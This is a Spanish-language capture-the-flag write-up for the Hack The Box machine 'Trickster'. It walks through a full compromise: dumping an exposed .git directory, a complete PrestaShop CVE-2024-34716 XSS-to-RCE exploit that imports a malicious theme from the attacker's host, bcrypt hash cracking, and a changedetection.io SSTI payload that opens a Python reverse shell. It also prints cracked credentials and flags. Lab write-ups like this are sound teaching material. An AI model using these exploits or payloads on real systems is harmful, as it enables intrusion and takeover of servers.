Trickster

OS: Linux
Dificultad: Medio
Puntos: 30

Nmap

nmap -v -p- --min-rate=5000 10.129.45.82
nmap -vvv -p 22,80 -sV -sC -oN nmap.txt 10.129.45.82
Nmap scan report for 10.129.45.82
Host is up, received echo-reply ttl 63 (0.063s latency).
Scanned at 2024-09-22 06:12:00 EDT for 9s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 8c:01:0e:7b:b4:da:b7:2f:bb:2f:d3:a3:8c:a6:6d:87 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCk493Dw3qOjrvMEEvPT6uj4aIc7vb9chLLQr0Wzjiaf8hZ1yXMO6kwPuBjNaP6GouvFd0L7UnpacFnIqkQ9GOk=
|   256 90:c6:f3:d8:3f:96:99:94:69:fe:d3:72:cb:fe:6c:c5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ3pOUJRCVS6Y1fhIFs4QlMFAh2S8pCDFUCkAfaQFoJw
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://trickster.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: _; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Encontramos un subdomino en el html de la pagina principal.

<a href="#contact">Contact</a></li>
								<li><a href="http://shop.trickster.htb">Shop</a></li>
							</ul>
						</nav>

Identificamos que la aplicacion tiene expuesto el directorio .git.

http://shop.trickster.htb/.git/

Podemos usar git-dumper para obtener los archivos.

┌──(venv)(root㉿kali)-[~/htb/Box/Trickster]
└─# git-dumper http://shop.trickster.htb/ git 
[-] Testing http://shop.trickster.htb/.git/HEAD [200]
[-] Testing http://shop.trickster.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://shop.trickster.htb/.git/ [200]

Lo que obtemos de los archivos es el endpoint del admin panel.

http://shop.trickster.htb/admin634ewutrx1jgitlooaj

Si accedemos vemos la version de Prestashop 8.1.5.

PrestaShop 8.1.5 (RCE)

Encontramos que la version de prestashop es vulnerable a xss que permite obtener RCE como lo explica en le siguiente blog.

https://ayoubmokhtar.com/post/png_driven_chain_xss_to_remote_code_execution_prestashop_8.1.5_cve-2024-34716/

Para poder explotar la vulnerabilidad descargamos el repositorio.

git clone https://github.com/aelmokhtar/CVE-2024-34716.git

Necesitamos modificar los archivos con nuestra IP y la IP de la maquina.

exploit.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta viewport="width=device-width, initial-scale=1.0">
    <title>Exploit</title>
</head>
<body>
    <script>
        async function fetchTokenFromHTML() {
            const url = 'http://shop.trickster.htb/admin634ewutrx1jgitlooaj/index.php/improve/design/themes/import';
            try {
                const response = await fetch(url, {
                    method: 'GET',
                    credentials: 'include',
                    redirect: 'follow'
                });
                if (!response.ok) throw new Error('Failed to fetch the page for token extraction. Status: ' + response.status);
                
                const htmlText = await response.text();
                const parser = new DOMParser();
                const doc = parser.parseFromString(htmlText, "text/html");
                
                const anchor = doc.querySelector('a.btn.btn-lg.btn-outline-danger.mr-3');
                const href = anchor ? anchor.getAttribute('href') : null;
                const match = href ? href.match(/_token=([^&]+)/) : null;
                const token = match ? match[1] : null;
                if (!token) throw new Error('Token not found in anchor tag href.');
                
                console.log('Extracted Token from HTML:', token);
                return token;
            } catch (error) {
                console.error('Error fetching token from HTML content:', error);
                return null;
            }
        }

        async function fetchCSRFToken(token) {
            const csrfUrl = `http://shop.trickster.htb/admin634ewutrx1jgitlooaj/index.php/improve/design/themes/import?_token=${token}`;
            try {
                const response = await fetch(csrfUrl, {
                    method: 'GET',
                    credentials: 'include',
                    redirect: 'follow'
                });
                if (!response.ok) throw new Error('Failed to fetch the page for CSRF token extraction. Status: ' + response.status);
                
                const htmlText = await response.text();
                const parser = new DOMParser();
                const doc = parser.parseFromString(htmlText, "text/html");
                
                const csrfTokenInput = doc.querySelector('input[name="import_theme[_token]"]');
                const csrfToken = csrfTokenInput ? csrfTokenInput.value : null;
                if (!csrfToken) throw new Error('CSRF token not found in HTML content.');
                
                console.log('Extracted CSRF Token:', csrfToken);
                return csrfToken;
            } catch (error) {
                console.error('Error fetching CSRF token:', error);
                return null;
            }
        }

        async function importTheme() {
            try {
                const locationHeaderToken = await fetchTokenFromHTML();
                if (!locationHeaderToken) {
                    console.error('Failed to fetch token from HTML');
                    return;
                }

                const csrfToken = await fetchCSRFToken(locationHeaderToken);
                if (!csrfToken) {
                    console.error('Failed to fetch CSRF token');
                    return;
                }

                const formData = new FormData();
                formData.append('import_theme[import_from_web]', 'http://10.10.14.59/ps_next_8_theme_malicious.zip');
                formData.append('import_theme[_token]', csrfToken);

                const postUrl = `/admin634ewutrx1jgitlooaj/index.php/improve/design/themes/import?_token=${locationHeaderToken}`;
                console.log('POST URL:', postUrl);

                const response = await fetch(postUrl, {
                    method: 'POST',
                    body: formData,
                });

                if (response.ok) {
                    console.log('Theme imported successfully');
                } else {
                    console.error('Failed to import theme. Response Status:', response.status);
                }
            } catch (error) {
                console.error('Error importing theme:', error);
            }
        }

        document.addEventListener('DOMContentLoaded', function() {
            importTheme();
        });
    </script>
</body>
</html>
exploit.py
import requests, subprocess, time, threading
from bs4 import BeautifulSoup

def send_get_requests(url, interval=5):
    while True:
        try:
            response = requests.get(url)
            print(f"GET request to {url}: {response.status_code}")
        except requests.RequestException as e:
            print(f"Error during GET request: {e}")
        time.sleep(interval)


host_url = input("[?] Please enter the URL (e.g., http://prestashop:8000): ")
email = input("[?] Please enter your email: ")
message_content = input("[?] Please enter your message: ")
exploit_path = input("[?] Please provide the path to your HTML file: ")

with open(exploit_path, 'r') as file:
    html_content = file.read()

url = f"{host_url}/contact-us"

response = requests.get(url)
response.raise_for_status()

soup = BeautifulSoup(response.text, 'html.parser')
token = soup.find('input', {'name': 'token'})['value']
cookies = response.cookies

files = {
    'fileUpload': ('test.png', html_content, 'image/png'),
}

data = {
    'id_contact': '2',
    'from': email,
    'message': message_content,
    'url': '',
    'token': token,
    'submitMessage': 'Send'
}

response = requests.post(url, files=files, data=data, cookies=cookies)


def send_get_requests(interval=1):
    url = f"{host_url}/themes/next/reverse_shell.php"
    while True:
        try:
            requests.get(url)
        except requests.RequestException as e:
            print(f"Error during GET request: {e}")
        time.sleep(interval)

thread = threading.Thread(target=send_get_requests)
thread.daemon = True
thread.start()

if response.status_code == 200:
    print(f"[X] Yay! Your exploit was sent successfully!")
    print(f"[X] Once a CS agent clicks on attachement, you'll get a SHELL")
    
    #subprocess.call(["ncat", "-lnvp", "1234"], shell=False)
    #print("[X] ncat is now listening on port 1234. Press Ctrl+C to terminate.")

else:
    print(f"[!] Failed to send the message. Status code: {response.status_code} Reason: {response.reason}")

Tambien es necesario modificar el archivo zip. En especifico eliminar el archivo a.php, modificar la direccion IP del archivo reverse_shell.php y agregarlo al zip.

Ahora ponemos a la escucha nuestro servidor web python y ejecutamos el exploit.

Una vez que recibimos la peticion web consultamos el archivo desde el navegar para obtener nuestra reverse shell. Si no se consulta desde el navegador tal vez marque 403. En caso de que la reverse shell no se ejecute intentar cambiar el nombre del archivo php que esta en le zip y repetir el proceso o reiniciar la maquina de htb.

Lateral Movement

Encontramos credenciales para acceder a la base de datos.

www-data@trickster:~/prestashop$ cat ./app/config/parameters.php
<?php return array (
  'parameters' => 
  array (
    'database_host' => '127.0.0.1',
    'database_port' => '',
    'database_name' => 'prestashop',
    'database_user' => 'ps_user',
    'database_password' => 'prest@shop_o',

Nos conectamos a mysql.

www-data@trickster:~/prestashop$ mysql -u ps_user -p -D prestashop
Enter password: 
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 5067
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [prestashop]> 

Obtemos los siguientes hashes.

MariaDB [prestashop]> select email,passwd from ps_employee;
+---------------------+--------------------------------------------------------------+
| email               | passwd                                                       |
+---------------------+--------------------------------------------------------------+
| admin@trickster.htb | $2y$10$P8wO3jruKKpvKRgWP6o7o.rojbDoABG9StPUt0dR7LIeK26RdlB/C |
| james@trickster.htb | $2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm |
+---------------------+--------------------------------------------------------------+

Usando john podemos creackear el hash de james.

┌──(root㉿kali)-[~/htb/Box/Trickster]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt 
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alwaysandforever (?)     
1g 0:00:00:03 DONE (2024-09-22 10:29) 0.3125g/s 11576p/s 11576c/s 11576C/s bandit2..alkaline
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Nos podemos conectar por SSH.

┌──(root㉿kali)-[~/htb/Box/Trickster]
└─# ssh james@trickster.htb
james@trickster.htb's password: 
Last login: Sun Sep 22 14:31:55 2024 from 10.10.14.59
james@trickster:~$ id
uid=1000(james) gid=1000(james) groups=1000(james)
james@trickster:~$ ls
user.txt
james@trickster:~$ cat user.txt 
07e6295c6136da6753ea58d799282a9f

Privilege Escalation

Identificamos un par de procesos que son algo extranios.

root       22441  0.0  0.3 1238400 12264 ?       Sl   14:20   0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id ae5c137aa8efc8eee17e3f5e2f93594b6bfc9ea2d7b350faba36e80d588a
root       22485  0.2  1.8 1300332 74116 ?       Ssl  14:20   0:02 python ./changedetection.py -d /datastore

Vemos que hay una interfaz de red de docker.

james@trickster:~$ ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:80:77:c6:5d  txqueuelen 0  (Ethernet)
        RX packets 133087  bytes 5326600 (5.3 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 132952  bytes 9837626 (9.8 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Con arp identificamos la IP del contenedor.

james@trickster:~$ arp -a
? (172.17.0.2) at 02:42:ac:11:00:02 [ether] on docker0
? (10.129.0.1) at 00:50:56:94:39:11 [ether] on eth0

Podemos enumerar puertos con el siguiente script.

for i in {1..65535}; do echo >/dev/tcp/172.17.0.2/$i && echo "Port $i is open"; done 2>/dev/null
Port 5000 is open

Hacemos portforwarding para acceder al puerto local.

┌──(root㉿kali)-[~/htb/Box/Trickster]
└─# ssh james@trickster.htb -L 5000:172.17.0.2:5000
james@trickster.htb's password: 
Last login: Sun Sep 22 14:32:00 2024 from 10.10.14.59
james@trickster:~$

Vemos que nos mostrara una pagina web que pide password podemos reutilizar el pass de james para acceder.

alwaysandforever

Changedetection SSTI

Viendo los security issues en github parece ser vulnerable a SSTI.

https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-4r7v-whpg-8rx3

Para explotar esta vulnerabilidad primero establecemos los siguiente en la maquina victima. Abrimos 2 sesiones mas de SSH.

SSH 1
nc -lvnp 9999
SSH 2
python3 -m http.server 8000

Ahora en la pagina web hacemos lo siguiente.

http://172.17.0.1:8000

Despues nos vamos a Notificaciones y agregamos el payload.

get://172.17.0.1
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{ x()._module.__builtins__['__import__']('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"172.17.0.1\",9999));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"/bin/bash\")'").read() }}{% endif %}{% endfor %}

Lo siguiente es agregar cualquier cosa donde establecimos nuestro servidor python en este caso en el home de james.

SSH 3
james@trickster:~$ touch hola.txt
james@trickster:~$

Por ultimo seleccionamos nuestra tarea y le damos Recheck para que se ejecute el payload.

Obtenemos la reverse shell.

Dentro del contendor encontramos un password en el historial.

Lo podemos usar con el usuario root.

root : #YouC4ntCatchMe#
james@trickster:~$ su root
Password: 
root@trickster:/home/james# cd
root@trickster:~# cat root.txt 
bf0a2f64903356535f29ee09861eba96
root@trickster:~#